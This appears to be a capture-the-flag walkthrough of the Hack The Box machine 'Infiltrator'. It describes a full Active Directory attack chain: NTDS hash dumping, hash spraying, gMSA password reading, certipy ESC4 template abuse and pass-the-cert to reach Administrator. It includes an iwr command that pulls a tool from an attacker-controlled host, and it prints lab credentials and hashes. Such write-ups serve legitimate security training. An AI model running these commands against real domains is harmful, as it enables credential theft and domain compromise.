Actually, as far as I can tell, there’s only one file in this whole thing - a very interesting looking file called Backup_Credentials.7z, under C:\Users\Administrator\Documents:

Using my meterpreter session, I’ll exfil the file to my attacker host:

Backup_Credentials.7z
Let’s extract the archive. Thankfully, this one isn’t password protected:
7z x Backup_Credentials.7z
Wow - it wasn’t kidding. We’re looking at a dump of the credentials in the registry and the NTDS Active Directory database:

If we also had the SAM file under registry we could dump all of the password hashes in either of these two ways:
samdump2 -o sam.hashes SYSTEM SAM
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
If we had the privileges to do so, we could have dumped these three important registry files like this:
reg save HKLM\sam sam reg save HKLM\system system reg save HKLM\security security
However, both of the above methods require the SAM file, and we can’t get it.
Thankfully, the ntds.dit file can also be used for obtaining credentials; we require the following
ntds.dit- Get it with
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
- Get it with
SYSTEMregistry file- Get it with
reg save HKLM\system SYSTEM
- Get it with
We can extract hashes from the ntds.dit file like this:
secretsdump.py LOCAL -ntds Active\ Directory/ntds.dit -system registry/SYSTEM -outputfile credentials.txt

Excellent! If we’re only after the NT hashes, we can look inside the resulting credentials.txt.ntds file. Better yet, let’s extract all the hashes:
grep -oE '[0-9a-f]{32}:::$' credentials.txt.ntds | tr -d ':' | tee backup_NT_hashes.txt
Now try spraying hashes at the target:
nxc smb dc01.infiltrator.htb -u domain_users.txt -H backup_NT_hashes.txt --continue-on-success
nxc ldap dc01.infiltrator.htb -u domain_users.txt -H backup_NT_hashes.txt --continue-on-success
No luck, except for l.clark.
Hacktricks suggests another technique, exporting the NTDS to an SQLite database (supplemented by the SYSTEM registry file). For this, we can use ntdsdotsqlite:
python3 -m pipx install ntdsdotsqlite
ntdsdotsqlite Active\ Directory/ntds.dit -o ntds.sqlite --system registry/SYSTEM
This (very rapidly) exports the whole NTDS to an SQLite database. We can then open it in any database viewer, including sqlite3 - when there’s a big schema to explore, my preferred tool is DBeaver:

The user_accounts table seems a likely place to look. Instead of sifting through the data manually, we can execute a simple query to get just the essential columns:
SELECT id, samaccountname, nthash, description FROM user_accounts;

🎉 There’s a password in the Description field, suggesting the credential lan_managment : l@n_M@an!1331
This is from a backup though, so let’s validate it:
nxc smb dc01.infiltrator.htb -u 'lan_managment' -p known_passwords.txt

lan_managment
⚠️ Not sure if it’s a result of translation between languages, but note that the username is
lan_managment, notlan_management.
We already know from Bloodhound that lan_managment has a very special outbound privilege:

Yep, that’s right - lan_managment can read the gMSA password for the high-value-target infiltrator_svc$
The infiltrator_svc$ service account has permissions to enroll with ANY certificate, which would allow us to escalate to Administrator easily. Bloodhound summarizes the privesc path nicely:

RCE
Using my current reverse shell as o.martinez, I’ll use RunasCs.exe to pop a new reverse shell as lan_managment:
cd C:\Users\o.martinez\AppData\Local\Temp
iwr http://10.10.14.13:8001/RunasCs.exe -O RunasCs.exe
.\RunasCs.exe lan_managment l@n_M@an!1331 "cmd /c whoami /all"
# [-] RunasCsException: Selected logon type '2' is not granted to the user 'lan_managment'. Use available logon type '3'
However, when I try logon type 2, I get the same error!
We can try executing some commands over SMB, as well:
nxc smb dc01.infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331' -x whoami
The nxc command runs successfully, but it doesn’t seem like the whoami command ran. I also tested the same thing with curl request to my attacker-controlled HTTP server, and came to the same conclusion - no code execution!
gMSA Password
Instead of messing around with a reverse shell or any other RCE, let’s go straight to the goal and attempt to get the gMSA password for infiltrator_svc$. We can do this using gMSADumper:
python3 gMSADumper.py -u 'lan_managment' -p 'l@n_M@an!1331' -d 'infiltrator.htb'

It worked perfectly. We remotely obtained the NT hash of infiltrator_svc$: 3e5be8f399a35508cb463f66afcf8ab0
Certificate Abuse - ESC4
Summary
To put it in one sentence, ESC4 is when we have the ability to write or reconfigure certificate templates, thereby allowing us to create (or modify into) a flawed template that is vulnerable to ESC1.
It means we’re only one step away from the same privesc technique that was used in Escape and Authority 👍
I’ve encountered ESC4 once before. However, since it was for a box released after Infiltrator, I cannot link to it directly. If my walkthrough for that box is published by the time you’re reading this, you can easily find it by searching for “ESC4” on my blog.
Confirmation of vulnerability
We can use certipy to check for templates vulnerable to the provided user (in this case, infiltrator_svc$). It’s available on pip if you don’t already have it:
python3 -m pipx install certipy-ad
Thankfully, we can use either a cleartext password or NT hash for authentication. This is how we can check for vulnerable templates:
certipy find -vulnerable -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0'
This should produce a .txt and a .json file. Shown below, the txt file verifies vulnerability to the ESC4 strategy:
Certificate Templates
0
Template Name : Infiltrator_Template
Display Name : Infiltrator_Template
Certificate Authorities : infiltrator-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
PendAllRequests
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Smart Card Logon
Server Authentication
KDC Authentication
Client Authentication
Requires Manager Approval : True
Requires Key Archival : False
Authorized Signatures Required : 1
Validity Period : 99 years
Renewal Period : 650430 hours
Minimum RSA Key Length : 2048
Permissions
Object Control Permissions
Owner : INFILTRATOR.HTB\Local System
Full Control Principals : INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Owner Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Dacl Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Property Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
[!] Vulnerabilities
ESC4 : 'INFILTRATOR.HTB\\infiltrator_svc' has dangerous permissions
ESC4 with Certipy
Bloodhound-CE does a nice job of outlining the whole attack for ESC4, since it takes a few steps. Bloodhound starts at step (0), in case we only have WriteOwner or WriteDacl permissions on the certificate template. Since infiltrator_svc$ already has WriteProperty permissions on the vulnerable template (FullControl would work, too!), we can skip ahead to step (1).
First, we need to modify the certificate template in a way to make it vulnerable to ESC1. This means editing it so that the template accepts a Subject Alternate Name provided by the user. After we make this modification, the attack is identical to ESC1:
For an easy-to-follow guide, check out the ESC4 section on The Hacker Recipes ⭐
# Modify template to make it vulnerable to ESC1
certipy template -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -template 'Infiltrator_Template' -save-old
# Copy the backup file, in case we make multiple attempts
cp Infiltrator_Template.json Infiltrator_Template.json.bak
Now we follow the ESC1 procedure. Effectively, we just submit a certificate signing request (CSR) for the now-modified template and provide whatever Subject Alternate Name that we want. Of course, we will go straight for Administrator 😉
certipy req -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -target 'dc01.infiltrator.htb' -ca 'infiltrator-DC01-CA' -template 'Infiltrator_Template' -upn 'Administrator'
I tried this a couple times, and got errors:


Thinking back to my experience on previous boxes, I realized that this was probably a result of an overly-eager cleanup script. To overcome this, we just need to work a little faster - let’s just submit all three commands in rapid succession:
certipy template -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -template 'Infiltrator_Template' -save-old;
cp Infiltrator_Template.json Infiltrator_Template.json.bak;
certipy req -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -target 'dc01.infiltrator.htb' -ca 'infiltrator-DC01-CA' -template 'Infiltrator_Template' -upn 'Administrator'

😂 Alright! We got the administrator.pfx file! We can use this with tools like Rubeus (or certipy itself) to authenticate as administrator.
Restore original template
Now that we have the .pfx file, we can clean up after ourselves by restoring the original template. It’s good practice to do this manually instead of relying on the box’s cleanup scripts:
# Restore the template to original state
certipy template -u 'infiltrator_svc$@infiltrator.htb' -hashes '3e5be8f399a35508cb463f66afcf8ab0' -dc-ip $RADDR -template 'Infiltrator_Template' -configuration Infiltrator_Template.json
# Delete the extra backup we took; we don't need it anymore
rm Infiltrator_Template.json.bak Infiltrator_Template.json
Pass the Cert
Now that we have a .pfx file for the adminstrator account, we have several options for authentication, all of which fall under the term “Pass the Cert”:
Rubeus.exe: Useful if we want to authenticate from WindowsCertipy: Easy and convenient from Linux; produces an NT hash for us.PKINITTools gettgtpkinit.py: Used twice already on this box; produces a TGT from a.pfxsigned authentication certificate.- Can further be used with
PKINITTools getnthash.pyto grab the NT Hash
- Can further be used with
PassTheCert.py: Can be used if PKINIT is disabled on the target host.
The choice of tool depends on the constraints of the target, and what authentication artifact you want.
✅ Since an NT hash would be perfect for us, let’s just continue to use certipy:
certipy auth -pfx administrator.pfx -dc-ip $RADDR -username 'Administrator' -domain 'infiltrator.htb'

😁 By passing the cert, we’ve obtained the administrator NT hash. We already know that administrator is a member of Remote Management Users, so we should be able to log in over WinRM:
evil-winrm -i dc01.infiltrator.htb -u 'Administrator' -H '1356f5............1121a1'


Finish off the box by reading the flag:
type C:\Users\Administrator\Desktop\root.txt
CLEANUP
Target
I’ll get rid of the spot where I place my tools, each user’s Temp directory:
Remove-Item -Path "C:\Users\m.harris\AppData\Local\Temp\*" -Recurse -Force
Remove-Item -Path "C:\Users\winrm_svc\AppData\Local\Temp\*" -Recurse -Force
Remove-Item -Path "C:\Users\o.martinez\AppData\Local\Temp\*" -Recurse -Force
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm -rf loot/Backup_Credentials/registry
rm -rf loot/Backup_Credentials/Active\ Directory
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
Shadow Credentials? Get the NT hash too! Whenever you perform a shadow credentials attack using
pywhisker, the output suggests that you usePKINITtoolsto obtain the TGT (usinggettgtpkinit.py). It’s a great suggestion, and that TGT is enough to allow you to authenticate using Kerberos. However, some tools just don’t play nice with Kerberos, and would rather use an NT hash. Lucky for us, PKINITtools has another utility calledgetnthash.py, which takes the outputs ofgettgtpkinit.py(the ASREP hash and the TGT) to snatch the NT hash for us. Super handy!Remember the name of the concept, not the name of the tool. On this box, I ran into the concept of “pass the cert” on three occasions. Each situation was slightly different, but it’s not terribly difficult to find the right tool for each niche situation, as long as you remember the name of the general concept. Without knowing the name, it’s very difficult to search for tools.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake



